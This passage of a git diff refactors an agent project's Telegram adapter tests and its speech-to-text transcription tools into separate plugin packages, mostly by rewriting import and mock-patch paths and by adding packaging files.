_make_adapter(): diff --git a/tests/gateway/test_telegram_network.py b/plugins/platforms/telegram/tests/test_telegram_network.py similarity index 99% rename from tests/gateway/test_telegram_network.py rename to plugins/platforms/telegram/tests/test_telegram_network.py index fe50fb8c57e..5577568a659 100644 --- a/tests/gateway/test_telegram_network.py +++ b/plugins/platforms/telegram/tests/test_telegram_network.py @@ -438,7 +438,7 @@ class TestAdapterFallbackIps: sys.modules.setdefault(name, mod) from gateway.config import PlatformConfig - from gateway.platforms.telegram import TelegramAdapter + from hermes_agent_telegram import TelegramAdapter config = PlatformConfig(enabled=True, token="test-token") if extra: diff --git a/tests/gateway/test_telegram_network_reconnect.py b/plugins/platforms/telegram/tests/test_telegram_network_reconnect.py similarity index 98% rename from tests/gateway/test_telegram_network_reconnect.py rename to plugins/platforms/telegram/tests/test_telegram_network_reconnect.py index 81b7bed12e4..04815021ba1 100644 --- a/tests/gateway/test_telegram_network_reconnect.py +++ b/plugins/platforms/telegram/tests/test_telegram_network_reconnect.py @@ -33,7 +33,7 @@ def _ensure_telegram_mock(): _ensure_telegram_mock() -from gateway.platforms.telegram import TelegramAdapter # noqa: E402 +from hermes_agent_telegram import TelegramAdapter # noqa: E402 @pytest.fixture(autouse=True) @@ -41,7 +41,7 @@ def _no_auto_discovery(monkeypatch): """Disable DoH auto-discovery so connect() uses the plain builder chain.""" async def _noop(): return [] - monkeypatch.setattr("gateway.platforms.telegram.discover_fallback_ips", _noop) + monkeypatch.setattr("hermes_agent_telegram.adapter.discover_fallback_ips", _noop) def _make_adapter() -> TelegramAdapter: @@ -379,7 +379,7 @@ async def test_heartbeat_probe_reenters_ladder_when_get_me_times_out(): raise asyncio.TimeoutError() with patch("asyncio.sleep", new_callable=AsyncMock): - with patch("gateway.platforms.telegram.asyncio.wait_for", new=fast_wait_for): + with patch("hermes_agent_telegram.adapter.asyncio.wait_for", new=fast_wait_for): await adapter._verify_polling_after_reconnect() adapter._handle_polling_network_error.assert_awaited_once() diff --git a/tests/gateway/test_telegram_noise_filter.py b/plugins/platforms/telegram/tests/test_telegram_noise_filter.py similarity index 100% rename from tests/gateway/test_telegram_noise_filter.py rename to plugins/platforms/telegram/tests/test_telegram_noise_filter.py diff --git a/tests/gateway/test_telegram_photo_interrupts.py b/plugins/platforms/telegram/tests/test_telegram_photo_interrupts.py similarity index 100% rename from tests/gateway/test_telegram_photo_interrupts.py rename to plugins/platforms/telegram/tests/test_telegram_photo_interrupts.py diff --git a/tests/gateway/test_telegram_progress_edit_transient.py b/plugins/platforms/telegram/tests/test_telegram_progress_edit_transient.py similarity index 100% rename from tests/gateway/test_telegram_progress_edit_transient.py rename to plugins/platforms/telegram/tests/test_telegram_progress_edit_transient.py diff --git a/tests/gateway/test_telegram_reactions.py b/plugins/platforms/telegram/tests/test_telegram_reactions.py similarity index 99% rename from tests/gateway/test_telegram_reactions.py rename to plugins/platforms/telegram/tests/test_telegram_reactions.py index 8b3b0686bb4..f579a08a6a9 100644 --- a/tests/gateway/test_telegram_reactions.py +++ b/plugins/platforms/telegram/tests/test_telegram_reactions.py @@ -11,7 +11,7 @@ from gateway.session import SessionSource def _make_adapter(**extra_env): - from gateway.platforms.telegram import TelegramAdapter + from hermes_agent_telegram import TelegramAdapter adapter = object.__new__(TelegramAdapter) adapter.platform = Platform.TELEGRAM diff --git a/tests/gateway/test_telegram_reply_mode.py b/plugins/platforms/telegram/tests/test_telegram_reply_mode.py similarity index 99% rename from tests/gateway/test_telegram_reply_mode.py rename to plugins/platforms/telegram/tests/test_telegram_reply_mode.py index f036dc6b785..476cceaac90 100644 --- a/tests/gateway/test_telegram_reply_mode.py +++ b/plugins/platforms/telegram/tests/test_telegram_reply_mode.py @@ -31,7 +31,7 @@ def _ensure_telegram_mock(): _ensure_telegram_mock() -from gateway.platforms.telegram import TelegramAdapter # noqa: E402 +from hermes_agent_telegram import TelegramAdapter # noqa: E402 @pytest.fixture() diff --git a/tests/gateway/test_telegram_reply_quote.py b/plugins/platforms/telegram/tests/test_telegram_reply_quote.py similarity index 98% rename from tests/gateway/test_telegram_reply_quote.py rename to plugins/platforms/telegram/tests/test_telegram_reply_quote.py index d636f0df94a..def20a2bc11 100644 --- a/tests/gateway/test_telegram_reply_quote.py +++ b/plugins/platforms/telegram/tests/test_telegram_reply_quote.py @@ -33,7 +33,7 @@ def _ensure_telegram_mock(): _ensure_telegram_mock() -from gateway.platforms.telegram import TelegramAdapter # noqa: E402 +from hermes_agent_telegram import TelegramAdapter # noqa: E402 def _make_adapter(): diff --git a/tests/gateway/test_telegram_send_path_health.py b/plugins/platforms/telegram/tests/test_telegram_send_path_health.py similarity index 93% rename from tests/gateway/test_telegram_send_path_health.py rename to plugins/platforms/telegram/tests/test_telegram_send_path_health.py index 940633224e4..9a88656bf6d 100644 --- a/tests/gateway/test_telegram_send_path_health.py +++ b/plugins/platforms/telegram/tests/test_telegram_send_path_health.py @@ -28,7 +28,7 @@ def _ensure_telegram_mock(): _ensure_telegram_mock() -from gateway.platforms.telegram import TelegramAdapter # noqa: E402 +from hermes_agent_telegram import TelegramAdapter # noqa: E402 def _make_adapter() -> TelegramAdapter: @@ -79,12 +79,12 @@ async def test_reconnect_storm_sets_and_heartbeat_clears_flag(monkeypatch): adapter._app.bot.get_me = AsyncMock(return_value=MagicMock()) adapter._polling_error_callback_ref = AsyncMock() monkeypatch.setattr( - "gateway.platforms.telegram.Update", MagicMock(ALL_TYPES=[]) + "hermes_agent_telegram.adapter.Update", MagicMock(ALL_TYPES=[]) ) await adapter._handle_polling_network_error(OSError("Bad Gateway")) assert adapter._send_path_degraded is True - with patch("gateway.platforms.telegram.asyncio.sleep", new_callable=AsyncMock): + with patch("hermes_agent_telegram.adapter.asyncio.sleep", new_callable=AsyncMock): await adapter._verify_polling_after_reconnect() assert adapter._send_path_degraded is False diff --git a/tests/gateway/test_telegram_slash_confirm.py b/plugins/platforms/telegram/tests/test_telegram_slash_confirm.py similarity index 98% rename from tests/gateway/test_telegram_slash_confirm.py rename to plugins/platforms/telegram/tests/test_telegram_slash_confirm.py index 785d9f7c6ac..1475f12280e 100644 --- a/tests/gateway/test_telegram_slash_confirm.py +++ b/plugins/platforms/telegram/tests/test_telegram_slash_confirm.py @@ -34,7 +34,7 @@ def _ensure_telegram_mock(): _ensure_telegram_mock() -from gateway.platforms.telegram import TelegramAdapter +from hermes_agent_telegram import TelegramAdapter from gateway.config import PlatformConfig diff --git a/tests/gateway/test_telegram_status_update.py b/plugins/platforms/telegram/tests/test_telegram_status_update.py similarity index 99% rename from tests/gateway/test_telegram_status_update.py rename to plugins/platforms/telegram/tests/test_telegram_status_update.py index f49ca9c60e1..28bc5f002d9 100644 --- a/tests/gateway/test_telegram_status_update.py +++ b/plugins/platforms/telegram/tests/test_telegram_status_update.py @@ -64,7 +64,7 @@ def _install_fake_telegram(monkeypatch): @pytest.fixture def adapter(monkeypatch): _install_fake_telegram(monkeypatch) - from gateway.platforms.telegram import TelegramAdapter + from hermes_agent_telegram import TelegramAdapter a = TelegramAdapter(PlatformConfig(enabled=True, token="fake-token")) a._bot = MagicMock() diff --git a/tests/gateway/test_telegram_text_batch_perf.py b/plugins/platforms/telegram/tests/test_telegram_text_batch_perf.py similarity index 99% rename from tests/gateway/test_telegram_text_batch_perf.py rename to plugins/platforms/telegram/tests/test_telegram_text_batch_perf.py index 518dee24604..83a5a337a0e 100644 --- a/tests/gateway/test_telegram_text_batch_perf.py +++ b/plugins/platforms/telegram/tests/test_telegram_text_batch_perf.py @@ -18,7 +18,7 @@ from unittest.mock import MagicMock import pytest -from gateway.platforms.telegram import TelegramAdapter +from hermes_agent_telegram import TelegramAdapter @pytest.fixture diff --git a/tests/gateway/test_telegram_text_batching.py b/plugins/platforms/telegram/tests/test_telegram_text_batching.py similarity index 98% rename from tests/gateway/test_telegram_text_batching.py rename to plugins/platforms/telegram/tests/test_telegram_text_batching.py index 14c3f0dd67e..6c0da68ce16 100644 --- a/tests/gateway/test_telegram_text_batching.py +++ b/plugins/platforms/telegram/tests/test_telegram_text_batching.py @@ -16,7 +16,7 @@ from gateway.platforms.base import MessageEvent, MessageType, SessionSource def _make_adapter(): """Create a minimal TelegramAdapter for testing text batching.""" - from gateway.platforms.telegram import TelegramAdapter + from hermes_agent_telegram import TelegramAdapter config = PlatformConfig(enabled=True, token="test-token") adapter = object.__new__(TelegramAdapter) diff --git a/tests/gateway/test_telegram_thread_fallback.py b/plugins/platforms/telegram/tests/test_telegram_thread_fallback.py similarity index 99% rename from tests/gateway/test_telegram_thread_fallback.py rename to plugins/platforms/telegram/tests/test_telegram_thread_fallback.py index 6bba27a78cd..573c3b2ee64 100644 --- a/tests/gateway/test_telegram_thread_fallback.py +++ b/plugins/platforms/telegram/tests/test_telegram_thread_fallback.py @@ -116,7 +116,7 @@ def _inject_fake_telegram(monkeypatch): def _make_adapter(): - from gateway.platforms.telegram import TelegramAdapter + from hermes_agent_telegram import TelegramAdapter config = PlatformConfig(enabled=True, token="fake-token") adapter = object.__new__(TelegramAdapter) diff --git a/tests/gateway/test_telegram_topic_mode.py b/plugins/platforms/telegram/tests/test_telegram_topic_mode.py similarity index 100% rename from tests/gateway/test_telegram_topic_mode.py rename to plugins/platforms/telegram/tests/test_telegram_topic_mode.py diff --git a/tests/gateway/test_telegram_webhook_secret.py b/plugins/platforms/telegram/tests/test_telegram_webhook_secret.py similarity index 100% rename from tests/gateway/test_telegram_webhook_secret.py rename to plugins/platforms/telegram/tests/test_telegram_webhook_secret.py diff --git a/plugins/stt/__init__.py b/plugins/stt/__init__.py new file mode 100644 index 00000000000..420702167bb --- /dev/null +++ b/plugins/stt/__init__.py @@ -0,0 +1,7 @@ +"""Bridge module — delegates plugin registration to hermes_agent_stt.""" + + +def register(ctx): + """Plugin entry point — delegates to the inner hermes_agent_stt package.""" + from hermes_agent_stt import register as _inner_register + _inner_register(ctx) diff --git a/plugins/stt/hermes_agent_stt/__init__.py b/plugins/stt/hermes_agent_stt/__init__.py new file mode 100644 index 00000000000..a0f94175017 --- /dev/null +++ b/plugins/stt/hermes_agent_stt/__init__.py @@ -0,0 +1,56 @@ +"""hermes-agent-stt: Speech-to-text transcription plugin for Hermes Agent.""" + +from hermes_agent_stt.transcription_tools import ( # noqa: F401 + BUILTIN_STT_PROVIDERS, + transcribe_audio, + MAX_FILE_SIZE, + SUPPORTED_FORMATS, + DEFAULT_LOCAL_MODEL, + DEFAULT_STT_MODEL, + DEFAULT_GROQ_STT_MODEL, + GROQ_BASE_URL, + LOCAL_STT_COMMAND_ENV, + OPENAI_BASE_URL, + _get_local_command_template, + _get_provider, + _load_stt_config, + _normalize_local_model, + _transcribe_groq, + _transcribe_local, + _transcribe_local_command, + _transcribe_mistral, + _transcribe_openai, + _transcribe_xai, + _validate_audio_file, + is_stt_enabled, +) + + +def register(ctx): + """Entry point for the hermes_agent.plugins entry point group. + + Registers STT tool functions, constants, and config helpers in the + plugin capability registry so core code (gateway, CLI) can look + them up without importing from ``hermes_agent_stt`` directly. + """ + from hermes_agent_stt.transcription_tools import ( + transcribe_audio, + MAX_FILE_SIZE, + _get_provider, + _load_stt_config, + is_stt_enabled, + ) + ctx.register_tool_provider_entry( + name="stt", + tool_functions={ + "transcribe_audio": transcribe_audio, + }, + constants={ + "MAX_FILE_SIZE": MAX_FILE_SIZE, + }, + config_functions={ + "_get_provider": _get_provider, + "_load_stt_config": _load_stt_config, + "is_stt_enabled": is_stt_enabled, + }, + ) diff --git a/tools/transcription_tools.py b/plugins/stt/hermes_agent_stt/transcription_tools.py similarity index 98% rename from tools/transcription_tools.py rename to plugins/stt/hermes_agent_stt/transcription_tools.py index 91396cca93e..0c9605d8707 100644 --- a/tools/transcription_tools.py +++ b/plugins/stt/hermes_agent_stt/transcription_tools.py @@ -19,7 +19,7 @@ Supported input formats: mp3, mp4, mpeg, mpga, m4a, wav, webm, ogg, aac Usage:: - from tools.transcription_tools import transcribe_audio + from hermes_agent_stt.transcription_tools import transcribe_audio result = transcribe_audio("/path/to/audio.ogg") if result["success"]: @@ -198,22 +198,15 @@ def _normalize_local_command_model(model_name: Optional[str]) -> str: def _try_lazy_install_stt() -> bool: - """Attempt to lazy-install faster-whisper and return True on success. + """Check if faster-whisper is available. - The module-level ``_HAS_FASTER_WHISPER`` flag is set at import time and - cached. If the package wasn't installed at startup, calling ``ensure()`` - installs it. This function re-checks dynamically after installation so - the provider can use it immediately without a process restart. + Since the STT plugin is now a separate package that declares + faster-whisper as a dependency, it's guaranteed to be installed + when this module is importable. Kept as a stub for API compat. """ - try: - from tools.lazy_deps import ensure - ensure("stt.faster_whisper") - # Re-check dynamically after install - import importlib.util as _iu - if _iu.find_spec("faster_whisper"): - return True - except Exception as exc: - logger.debug("Lazy install of faster-whisper failed: %s", exc) + import importlib.util as _iu + if _iu.find_spec("faster_whisper"): + return True return False diff --git a/plugins/stt/plugin.yaml b/plugins/stt/plugin.yaml new file mode 100644 index 00000000000..1e7b508ebce --- /dev/null +++ b/plugins/stt/plugin.yaml @@ -0,0 +1,6 @@ +name: stt +version: 0.1.0 +description: Speech-to-text transcription plugin (faster-whisper) +kind: backend +provides_tools: ["transcription"] +provides_hooks: [] diff --git a/plugins/stt/pyproject.toml b/plugins/stt/pyproject.toml new file mode 100644 index 00000000000..ff3887bd8c1 --- /dev/null +++ b/plugins/stt/pyproject.toml @@ -0,0 +1,21 @@ +[build-system] +requires = ["setuptools>=61.0"] +build-backend = "setuptools.build_meta" + +[project] +name = "hermes-agent-stt" +version = "0.1.0" +description = "Speech-to-text transcription plugin for Hermes Agent (faster-whisper)" +requires-python = ">=3.11" +dependencies = [ + "hermes-agent", + "faster-whisper==1.2.1", + "sounddevice==0.5.5", + "numpy==2.4.3", +] + +[project.entry-points."hermes_agent.plugins"] +stt = "hermes_agent_stt:register" + +[tool.setuptools.packages.find] +include = ["hermes_agent_stt*"] diff --git a/tests/tools/test_transcription.py b/plugins/stt/tests/test_transcription.py similarity index 69% rename from tests/tools/test_transcription.py rename to plugins/stt/tests/test_transcription.py index b7e399ca426..9d1abb63e7d 100644 --- a/tests/tools/test_transcription.py +++ b/plugins/stt/tests/test_transcription.py @@ -35,49 +35,49 @@ class TestGetProvider: """_get_provider() picks the right backend based on config + availability.""" def test_local_when_available(self): - with patch("tools.transcription_tools._HAS_FASTER_WHISPER", True): - from tools.transcription_tools import _get_provider + with patch("hermes_agent_stt.transcription_tools._HAS_FASTER_WHISPER", True): + from hermes_agent_stt import _get_provider assert _get_provider({"provider": "local"}) == "local" def test_explicit_local_no_cloud_fallback(self, monkeypatch): """Explicit local provider must not silently fall back to cloud.""" monkeypatch.setenv("VOICE_TOOLS_OPENAI_KEY", "sk-test") monkeypatch.delenv("GROQ_API_KEY", raising=False) - with patch("tools.transcription_tools._HAS_FASTER_WHISPER", False), \ - patch("tools.transcription_tools._HAS_OPENAI", True), \ - patch("tools.transcription_tools._has_local_command", return_value=False): - from tools.transcription_tools import _get_provider + with patch("hermes_agent_stt.transcription_tools._HAS_FASTER_WHISPER", False), \ + patch("hermes_agent_stt.transcription_tools._HAS_OPENAI", True), \ + patch("hermes_agent_stt.transcription_tools._has_local_command", return_value=False): + from hermes_agent_stt import _get_provider assert _get_provider({"provider": "local"}) == "none" def test_local_nothing_available(self, monkeypatch): monkeypatch.delenv("VOICE_TOOLS_OPENAI_KEY", raising=False) - with patch("tools.transcription_tools._HAS_FASTER_WHISPER", False), \ - patch("tools.transcription_tools._HAS_OPENAI", False), \ - patch("tools.transcription_tools._has_local_command", return_value=False): - from tools.transcription_tools import _get_provider + with patch("hermes_agent_stt.transcription_tools._HAS_FASTER_WHISPER", False), \ + patch("hermes_agent_stt.transcription_tools._HAS_OPENAI", False), \ + patch("hermes_agent_stt.transcription_tools._has_local_command", return_value=False): + from hermes_agent_stt import _get_provider assert _get_provider({"provider": "local"}) == "none" def test_openai_when_key_set(self, monkeypatch): monkeypatch.setenv("VOICE_TOOLS_OPENAI_KEY", "sk-test") - with patch("tools.transcription_tools._HAS_OPENAI", True): - from tools.transcription_tools import _get_provider + with patch("hermes_agent_stt.transcription_tools._HAS_OPENAI", True): + from hermes_agent_stt import _get_provider assert _get_provider({"provider": "openai"}) == "openai" def test_explicit_openai_no_key_returns_none(self, monkeypatch): """Explicit openai without key returns none — no cross-provider fallback.""" monkeypatch.delenv("VOICE_TOOLS_OPENAI_KEY", raising=False) - with patch("tools.transcription_tools._HAS_FASTER_WHISPER", True), \ - patch("tools.transcription_tools._HAS_OPENAI", True): - from tools.transcription_tools import _get_provider + with patch("hermes_agent_stt.transcription_tools._HAS_FASTER_WHISPER", True), \ + patch("hermes_agent_stt.transcription_tools._HAS_OPENAI", True): + from hermes_agent_stt import _get_provider assert _get_provider({"provider": "openai"}) == "none" def test_default_provider_is_local(self): - with patch("tools.transcription_tools._HAS_FASTER_WHISPER", True): - from tools.transcription_tools import _get_provider + with patch("hermes_agent_stt.transcription_tools._HAS_FASTER_WHISPER", True): + from hermes_agent_stt import _get_provider assert _get_provider({}) == "local" def test_disabled_config_returns_none(self): - from tools.transcription_tools import _get_provider + from hermes_agent_stt import _get_provider assert _get_provider({"enabled": False, "provider": "openai"}) == "none" @@ -89,7 +89,7 @@ class TestGetProvider: class TestValidateAudioFile: def test_missing_file(self, tmp_path): - from tools.transcription_tools import _validate_audio_file + from hermes_agent_stt import _validate_audio_file result = _validate_audio_file(str(tmp_path / "nope.ogg")) assert result is not None assert "not found" in result["error"] @@ -97,7 +97,7 @@ class TestValidateAudioFile: def test_unsupported_format(self, tmp_path): f = tmp_path / "test.xyz" f.write_bytes(b"data") - from tools.transcription_tools import _validate_audio_file + from hermes_agent_stt import _validate_audio_file result = _validate_audio_file(str(f)) assert result is not None assert "Unsupported" in result["error"] @@ -105,14 +105,14 @@ class TestValidateAudioFile: def test_valid_file_returns_none(self, tmp_path): f = tmp_path / "test.ogg" f.write_bytes(b"fake audio data") - from tools.transcription_tools import _validate_audio_file + from hermes_agent_stt import _validate_audio_file assert _validate_audio_file(str(f)) is None def test_too_large(self, tmp_path): import stat as stat_mod f = tmp_path / "big.ogg" f.write_bytes(b"x") - from tools.transcription_tools import _validate_audio_file, MAX_FILE_SIZE + from hermes_agent_stt import _validate_audio_file, MAX_FILE_SIZE real_stat = f.stat() with patch.object(type(f), "stat", return_value=os.stat_result(( real_stat.st_mode, real_stat.st_ino, real_stat.st_dev, @@ -146,18 +146,18 @@ class TestTranscribeLocal: mock_model.transcribe.return_value = ([mock_segment], mock_info) fake_fw = _fake_faster_whisper_module(mock_model) - with patch("tools.transcription_tools._HAS_FASTER_WHISPER", True), \ + with patch("hermes_agent_stt.transcription_tools._HAS_FASTER_WHISPER", True), \ patch.dict("sys.modules", {"faster_whisper": fake_fw}), \ - patch("tools.transcription_tools._local_model", None): - from tools.transcription_tools import _transcribe_local + patch("hermes_agent_stt.transcription_tools._local_model", None): + from hermes_agent_stt import _transcribe_local result = _transcribe_local(str(audio_file), "base") assert result["success"] is True assert result["transcript"] == "Hello world" def test_not_installed(self): - with patch("tools.transcription_tools._HAS_FASTER_WHISPER", False): - from tools.transcription_tools import _transcribe_local + with patch("hermes_agent_stt.transcription_tools._HAS_FASTER_WHISPER", False): + from hermes_agent_stt import _transcribe_local result = _transcribe_local("/tmp/test.ogg", "base") assert result["success"] is False assert "not installed" in result["error"] @@ -172,7 +172,7 @@ class TestTranscribeOpenAI: def test_no_key(self, monkeypatch): monkeypatch.delenv("VOICE_TOOLS_OPENAI_KEY", raising=False) - from tools.transcription_tools import _transcribe_openai + from hermes_agent_stt import _transcribe_openai result = _transcribe_openai("/tmp/test.ogg", "whisper-1") assert result["success"] is False assert "VOICE_TOOLS_OPENAI_KEY" in result["error"] @@ -185,9 +185,9 @@ class TestTranscribeOpenAI: mock_client = MagicMock() mock_client.audio.transcriptions.create.return_value = "Hello from OpenAI" - with patch("tools.transcription_tools._HAS_OPENAI", True), \ + with patch("hermes_agent_stt.transcription_tools._HAS_OPENAI", True), \ patch("openai.OpenAI", return_value=mock_client): - from tools.transcription_tools import _transcribe_openai + from hermes_agent_stt import _transcribe_openai result = _transcribe_openai(str(audio_file), "whisper-1") assert result["success"] is True @@ -205,10 +205,10 @@ class TestTranscribeAudio: audio_file = tmp_path / "test.ogg" audio_file.write_bytes(b"fake audio") - with patch("tools.transcription_tools._load_stt_config", return_value={"provider": "local"}), \ - patch("tools.transcription_tools._get_provider", return_value="local"), \ - patch("tools.transcription_tools._transcribe_local", return_value={"success": True, "transcript": "hi"}) as mock_local: - from tools.transcription_tools import transcribe_audio + with patch("hermes_agent_stt.transcription_tools._load_stt_config", return_value={"provider": "local"}), \ + patch("hermes_agent_stt.transcription_tools._get_provider", return_value="local"), \ + patch("hermes_agent_stt.transcription_tools._transcribe_local", return_value={"success": True, "transcript": "hi"}) as mock_local: + from hermes_agent_stt import transcribe_audio result = transcribe_audio(str(audio_file)) assert result["success"] is True @@ -218,10 +218,10 @@ class TestTranscribeAudio: audio_file = tmp_path / "test.ogg" audio_file.write_bytes(b"fake audio") - with patch("tools.transcription_tools._load_stt_config", return_value={"provider": "openai"}), \ - patch("tools.transcription_tools._get_provider", return_value="openai"), \ - patch("tools.transcription_tools._transcribe_openai", return_value={"success": True, "transcript": "hi"}) as mock_openai: - from tools.transcription_tools import transcribe_audio + with patch("hermes_agent_stt.transcription_tools._load_stt_config", return_value={"provider": "openai"}), \ + patch("hermes_agent_stt.transcription_tools._get_provider", return_value="openai"), \ + patch("hermes_agent_stt.transcription_tools._transcribe_openai", return_value={"success": True, "transcript": "hi"}) as mock_openai: + from hermes_agent_stt import transcribe_audio result = transcribe_audio(str(audio_file)) assert result["success"] is True @@ -231,9 +231,9 @@ class TestTranscribeAudio: audio_file = tmp_path / "test.ogg" audio_file.write_bytes(b"fake audio") - with patch("tools.transcription_tools._load_stt_config", return_value={}), \ - patch("tools.transcription_tools._get_provider", return_value="none"): - from tools.transcription_tools import transcribe_audio + with patch("hermes_agent_stt.transcription_tools._load_stt_config", return_value={}), \ + patch("hermes_agent_stt.transcription_tools._get_provider", return_value="none"): + from hermes_agent_stt import transcribe_audio result = transcribe_audio(str(audio_file)) assert result["success"] is False @@ -243,16 +243,16 @@ class TestTranscribeAudio: audio_file = tmp_path / "test.ogg" audio_file.write_bytes(b"fake audio") - with patch("tools.transcription_tools._load_stt_config", return_value={"enabled": False}), \ - patch("tools.transcription_tools._get_provider", return_value="none"): - from tools.transcription_tools import transcribe_audio + with patch("hermes_agent_stt.transcription_tools._load_stt_config", return_value={"enabled": False}), \ + patch("hermes_agent_stt.transcription_tools._get_provider", return_value="none"): + from hermes_agent_stt import transcribe_audio result = transcribe_audio(str(audio_file)) assert result["success"] is False assert "disabled" in result["error"].lower() def test_invalid_file_returns_error(self): - from tools.transcription_tools import transcribe_audio + from hermes_agent_stt import transcribe_audio result = transcribe_audio("/nonexistent/file.ogg") assert result["success"] is False assert "not found" in result["error"] @@ -267,25 +267,25 @@ class TestNormalizeLocalModel: """_normalize_local_model() maps cloud-only names to the local default.""" def test_openai_model_name_maps_to_default(self): - from tools.transcription_tools import _normalize_local_model, DEFAULT_LOCAL_MODEL + from hermes_agent_stt import _normalize_local_model, DEFAULT_LOCAL_MODEL assert _normalize_local_model("whisper-1") == DEFAULT_LOCAL_MODEL def test_groq_model_name_maps_to_default(self): - from tools.transcription_tools import _normalize_local_model, DEFAULT_LOCAL_MODEL + from hermes_agent_stt import _normalize_local_model, DEFAULT_LOCAL_MODEL assert _normalize_local_model("whisper-large-v3-turbo") == DEFAULT_LOCAL_MODEL def test_valid_local_model_preserved(self): - from tools.transcription_tools import _normalize_local_model + from hermes_agent_stt import _normalize_local_model for size in ("tiny", "base", "small", "medium", "large-v3"): assert _normalize_local_model(size) == size def test_none_maps_to_default(self): - from tools.transcription_tools import _normalize_local_model, DEFAULT_LOCAL_MODEL + from hermes_agent_stt import _normalize_local_model, DEFAULT_LOCAL_MODEL assert _normalize_local_model(None) == DEFAULT_LOCAL_MODEL def test_warning_emitted_for_cloud_model(self, caplog): import logging - from tools.transcription_tools import _normalize_local_model + from hermes_agent_stt import _normalize_local_model with caplog.at_level(logging.WARNING, logger="tools.transcription_tools"): _normalize_local_model("whisper-1") assert any("whisper-1" in r.message for r in caplog.records) @@ -301,17 +301,17 @@ class TestNormalizeLocalModel: try: mock_model = MagicMock() mock_model.transcribe.return_value = (iter([]), MagicMock(language="en", duration=1.0)) - with patch("tools.transcription_tools._HAS_FASTER_WHISPER", True), \ - patch("tools.transcription_tools._load_stt_config", return_value={ + with patch("hermes_agent_stt.transcription_tools._HAS_FASTER_WHISPER", True), \ + patch("hermes_agent_stt.transcription_tools._load_stt_config", return_value={ "enabled": True, "provider": "local", "local": {"model": "whisper-1"}, }), \ - patch("tools.transcription_tools._local_model", None), \ - patch("tools.transcription_tools._local_model_name", None), \ + patch("hermes_agent_stt.transcription_tools._local_model", None), \ + patch("hermes_agent_stt.transcription_tools._local_model_name", None), \ patch.dict("sys.modules", {"faster_whisper": _fake_faster_whisper_module(mock_model)}): mock_cls = __import__("faster_whisper").WhisperModel - from tools.transcription_tools import transcribe_audio + from hermes_agent_stt import transcribe_audio transcribe_audio(audio_file) # WhisperModel must NOT have been called with "whisper-1" call_args = mock_cls.call_args diff --git a/tests/tools/test_transcription_command_providers.py b/plugins/stt/tests/test_transcription_command_providers.py similarity index 97% rename from tests/tools/test_transcription_command_providers.py rename to plugins/stt/tests/test_transcription_command_providers.py index 6873b0389ea..ffc43bb3c75 100644 --- a/tests/tools/test_transcription_command_providers.py +++ b/plugins/stt/tests/test_transcription_command_providers.py @@ -29,7 +29,7 @@ from unittest.mock import patch import pytest -from tools.transcription_tools import ( +from hermes_agent_stt.transcription_tools import ( BUILTIN_STT_PROVIDERS, COMMAND_STT_OUTPUT_FORMATS, DEFAULT_COMMAND_STT_LANGUAGE, @@ -487,7 +487,7 @@ class TestTranscribeAudioDispatchToCommandProvider: cfg = self._config_with_command_provider( "fake-cli", _python_emit_command("dispatched via command") ) - with patch("tools.transcription_tools._load_stt_config", return_value=cfg): + with patch("hermes_agent_stt.transcription_tools._load_stt_config", return_value=cfg): result = transcribe_audio(str(audio)) assert result["success"] is True assert result["transcript"] == "dispatched via command" @@ -504,7 +504,7 @@ class TestTranscribeAudioDispatchToCommandProvider: "openai": {"type": "command", "command": _python_emit_command("HIJACK")}, }, } - with patch("tools.transcription_tools._load_stt_config", return_value=cfg): + with patch("hermes_agent_stt.transcription_tools._load_stt_config", return_value=cfg): # openai dispatch will likely fail with no API key — that's fine, # what matters is the transcript is NOT "HIJACK" (which would # mean the command-provider hijacked the built-in name). @@ -514,7 +514,7 @@ class TestTranscribeAudioDispatchToCommandProvider: def test_unknown_provider_no_command_falls_through_to_error(self, tmp_path): audio = _make_silent_wav(tmp_path / "audio.wav") cfg = {"provider": "unknown-cli"} - with patch("tools.transcription_tools._load_stt_config", return_value=cfg): + with patch("hermes_agent_stt.transcription_tools._load_stt_config", return_value=cfg): result = transcribe_audio(str(audio)) assert result["success"] is False assert "No STT provider available" in result["error"] @@ -565,7 +565,7 @@ class TestCommandWinsOverPlugin: _reset_for_tests() try: register_provider(FakePlugin()) - with patch("tools.transcription_tools._load_stt_config", return_value=cfg): + with patch("hermes_agent_stt.transcription_tools._load_stt_config", return_value=cfg): result = transcribe_audio(str(audio)) finally: _reset_for_tests() @@ -598,7 +598,7 @@ class TestCommandWinsOverPlugin: _reset_for_tests() try: register_provider(FakePlugin()) - with patch("tools.transcription_tools._load_stt_config", return_value=cfg): + with patch("hermes_agent_stt.transcription_tools._load_stt_config", return_value=cfg): result = transcribe_audio(str(audio)) finally: _reset_for_tests() diff --git a/tests/tools/test_transcription_tools.py b/plugins/stt/tests/test_transcription_tools.py similarity index 71% rename from tests/tools/test_transcription_tools.py rename to plugins/stt/tests/test_transcription_tools.py index 0e1c0ef78f1..9971fc900d7 100644 --- a/tests/tools/test_transcription_tools.py +++ b/plugins/stt/tests/test_transcription_tools.py @@ -77,24 +77,24 @@ class TestGetProviderGroq: def test_groq_when_key_set(self, monkeypatch): monkeypatch.setenv("GROQ_API_KEY", "gsk-test") - with patch("tools.transcription_tools._HAS_OPENAI", True), \ - patch("tools.transcription_tools._HAS_FASTER_WHISPER", False): - from tools.transcription_tools import _get_provider + with patch("hermes_agent_stt.transcription_tools._HAS_OPENAI", True), \ + patch("hermes_agent_stt.transcription_tools._HAS_FASTER_WHISPER", False): + from hermes_agent_stt import _get_provider assert _get_provider({"provider": "groq"}) == "groq" def test_groq_explicit_no_fallback(self, monkeypatch): """Explicit groq with no key returns none — no cross-provider fallback.""" monkeypatch.delenv("GROQ_API_KEY", raising=False) - with patch("tools.transcription_tools._HAS_FASTER_WHISPER", True): - from tools.transcription_tools import _get_provider + with patch("hermes_agent_stt.transcription_tools._HAS_FASTER_WHISPER", True): + from hermes_agent_stt import _get_provider assert _get_provider({"provider": "groq"}) == "none" def test_groq_nothing_available(self, monkeypatch): monkeypatch.delenv("GROQ_API_KEY", raising=False) monkeypatch.delenv("VOICE_TOOLS_OPENAI_KEY", raising=False) - with patch("tools.transcription_tools._HAS_FASTER_WHISPER", False), \ - patch("tools.transcription_tools._HAS_OPENAI", False): - from tools.transcription_tools import _get_provider + with patch("hermes_agent_stt.transcription_tools._HAS_FASTER_WHISPER", False), \ + patch("hermes_agent_stt.transcription_tools._HAS_OPENAI", False): + from hermes_agent_stt import _get_provider assert _get_provider({"provider": "groq"}) == "none" @@ -103,36 +103,36 @@ class TestGetProviderFallbackPriority: def test_auto_detect_prefers_local(self): """Auto-detect prefers local over any cloud provider.""" - with patch("tools.transcription_tools._HAS_FASTER_WHISPER", True): - 